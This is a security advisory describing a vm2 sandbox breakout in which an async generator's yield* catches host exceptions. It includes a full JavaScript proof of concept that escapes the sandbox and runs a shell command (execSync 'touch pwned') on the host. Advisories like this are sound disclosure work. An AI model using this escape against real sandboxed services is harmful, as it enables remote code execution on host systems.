GHSA-248r-7h7q-cr24
vm2 Has a Sandbox Breakout Using Async Generator
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
### Details
It is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value.
### PoC
```js
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
class E extends Error {}
function so(d) {
if (d > 0) so(d-1);
const e = new E();
e.stack;
throw e;
}
async function* helper() {
yield* {
[Symbol.asyncIterator]: ()=>({
next: v=>({value: v, done: false})
})
};
}
async function doCatch(f) {
const i=helper();
await i.next();
const v = await i.return({then(r){f();r();}});
return v.value;
}
(async function f() {
let min = 0;
let max = 10000000;
while (min<max) {
const mid = (min+max)>>1;
const e = await doCatch(()=>so(mid));
if (e.name==="RangeError" && !(e instanceof RangeError)) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
return;
}
if (e instanceof E) {
min = mid+1;
} else {
max = mid;
}
}
})();
`));
```
### Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
References
External links from the advisory. They lead to third-party sites.